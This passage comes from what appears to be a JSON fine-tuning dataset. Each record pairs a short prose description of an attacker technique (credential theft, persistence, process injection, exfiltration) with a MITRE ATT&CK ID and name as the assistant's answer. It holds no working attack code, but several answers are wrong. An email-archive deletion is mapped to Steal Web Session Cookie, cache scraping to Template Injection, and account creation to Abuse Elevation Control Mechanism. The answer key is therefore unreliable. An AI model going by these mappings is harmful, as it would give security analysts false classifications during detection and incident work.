            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dynamic resolution is achieved by querying DNS for a domain that resolves to a load‑balanced pool of C2 servers, letting the malware pick one."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromise technique involves adjusting the ACLs on the service's ImagePath registry value so that an unprivileged user can point it to a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware checks the system's proxy settings via the registry path HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings to infer internet access."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An enemy actor modifies a legitimate Office macro to invoke wscript.exe with a hidden PowerShell script, causing the macro to act as a proxy for executing the PowerShell payload on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a compromised developer tool to execute malicious code via a trusted utility proxy."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group extracted the signing certificate from the IdP metadata and used it to sign malicious SAML tokens for unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script accesses the Gmail offline cache on the victim's laptop to harvest message bodies."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software adds a new entry under HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Authentication Packages to run on boot."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the SSH authorized_keys file on a router to grant their own SSH key."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using regasm.exe, the intruder registers a rogue .NET DLL, resulting in code execution under the context of the system binary."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit the InstallUtil binary to proxy the execution of a PowerShell script hidden inside a .NET installer package."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a VBScript that accesses the Credential Manager and pulls saved service credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploited a known vulnerability in the IIS Request Filtering feature to achieve privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the Linux VDSO to perform process injection without raising alarms in user-space monitoring."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers modified the installer of a popular chat application to embed a backdoor, compromising the client binary upon installation."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder used a downgrade attack, flashing an outdated BIOS image to restore known weaknesses."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion tool sends an LDAP search for (objectCategory=group) to discover all permission groups in the domain."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder collects data from paid security advisory services that are not publicly available."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious port monitor is registered to the \"Standard TCP/IP Port\" printer type, causing the DLL to load on every network print job."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension injects code into the web portal's sign‑in page, capturing and exfiltrating entered credentials."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs a script that uses the Microsoft Exchange Management Shell to export all mail items."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the Telegram messaging platform, creating a bot that receives commands and returns execution results to the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the SNMP protocol, the attacker extracted system uptime, software versions, and hardware info via MIB queries."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary harvested stored passwords from AWS Parameter Store by leveraging a compromised IAM role."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses the ntsecapi.dll function LsaAddAccountRights to add SID‑History entries, bypassing UAC."
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan establishes a WebSocket connection to a C2 host, allowing real-time command execution."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a malicious HTTP tunnel through a misconfigured web application firewall, allowing data exfiltration from the internal network to an external server."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group dumps keylogs into a hidden folder, staging them for later upload."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group used a PowerShell script to connect to the Windows admin share \\\\victim\\ADMIN$ over SMB, installing a scheduled task that runs a malicious binary."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses a VoIP service to place automated calls that request personal information from victims."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a benign web forum, the attacker posts coded messages that the malware reads via a dead‑drop resolver mechanism to receive new tasks."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker abuses the 'at' command on Windows to schedule a command that disables security tools before launching ransomware."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan monitors the system for debugging tools like OllyDbg and exits if such processes are found."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker tries to maintain access to a compromised system by using a hidden window, what is the relevant MITRE ATT&CK ID and Name?"
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated APT created a botnet of compromised satellite communication devices for covert data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary employs a spear phishing campaign targeting high-ranking executives, attempting to deceive them into transferring funds to an attacker-controlled account."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After installing a backdoor, the attacker erased the unified logging database on macOS to remove traces of their activity."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious JAR file is attached to a targeted email, exploiting the victim's trust to gain initial access."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a token replay vulnerability, the attacker was able to duplicate a valid session and create a new cloud account under the victim's organization."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries closed‑source code repositories that require authentication to locate proprietary software modules."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor writes malicious code to the UEFI firmware of a target system, enabling execution of payloads during the boot process."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages a privilege escalation exploit to read /etc/passwd and /etc/shadow files and harvest user passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor issues a 'whoami' and 'hostname' command, then compiles the results with other system metadata."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious VBScript is embedded in a Microsoft Office document and executed when the document is opened, spawning a cmd.exe process."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies a commonly accessed document on a shared drive to embed malicious macros, then waits for users to open it."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor uses an open-source data scraping utility to gather internal project documentation from an intranet portal."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised Node.js application, the threat actor executes arbitrary JavaScript to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion framework includes a module that periodically screenshots the user's desktop for surveillance."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers installed a web shell on a compromised Apache server, then used it to enumerate user accounts and dump password hashes."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs in-memory execution by injecting a PE into a system process using CreateRemoteThreadEx."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware removed persistent UNC path entries from the system registry to hide its presence."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set compromised a service account and used the Box API to recursively download all project files to an external location."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script includes the line \"Set objShell = CreateObject(\\\"WScript.Shell\\\")\" and then runs a series of system commands."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves adding the setuid attribute to a custom script, enabling it to run with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro erases all email archives from the mail server."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The virus uses the \"ipconfig /all\" output combined with routing table analysis to infer active network connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a pre‑recorded voicemail to lure employees into revealing sensitive information."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group gathers Office 365 distribution lists via PowerShell to find groups with high‑value access."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reads the Chrome \"Login Data\" SQLite database to harvest saved website credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware edits the registry key HKLM\\Software\\Policies\\Microsoft\\Windows\\Driver Signing to \"0\" to disable driver signature enforcement."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a phishing campaign to harvest credentials and then logs in using those credentials."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a tool to deobfuscate XOR-encrypted configuration files prior to loading them."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the NTFS \"Read‑Only\" and \"Hidden\" attributes to hide stolen data files within the victim's user directory."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a cross-site scripting flaw to steal session tokens from a victim's logged‑in web application."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised account to create a new admin user on the system."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used PowerShell to create a persistent SMB connection, exfiltrating data over the SMB protocol to a remote share."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed DNS cache snooping on public resolvers to infer active hosts within the target's range."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes dumping the securityd daemon to retrieve iCloud credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script inserts a pam_tally2 directive that resets login failure counters, preventing account lockout and facilitating brute-force attacks."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through DCSync, the intruder impersonates a Domain Controller and extracts stored password hashes for domain users, bypassing typical credential dumping methods."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor scrapes the victim’s social media profile information from the local cache."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes tampering with the BIOS to deactivate the crypto accelerator, disabling hardware encryption for the OS."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers change the ACLs on a service's executable path so they can write their payload and have the service run it with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software accessed the SQLite database used by the Windows 10 Mail app to retrieve sent emails."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool replaces the VDSO functions in a high-privilege process to run its payload stealthily."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
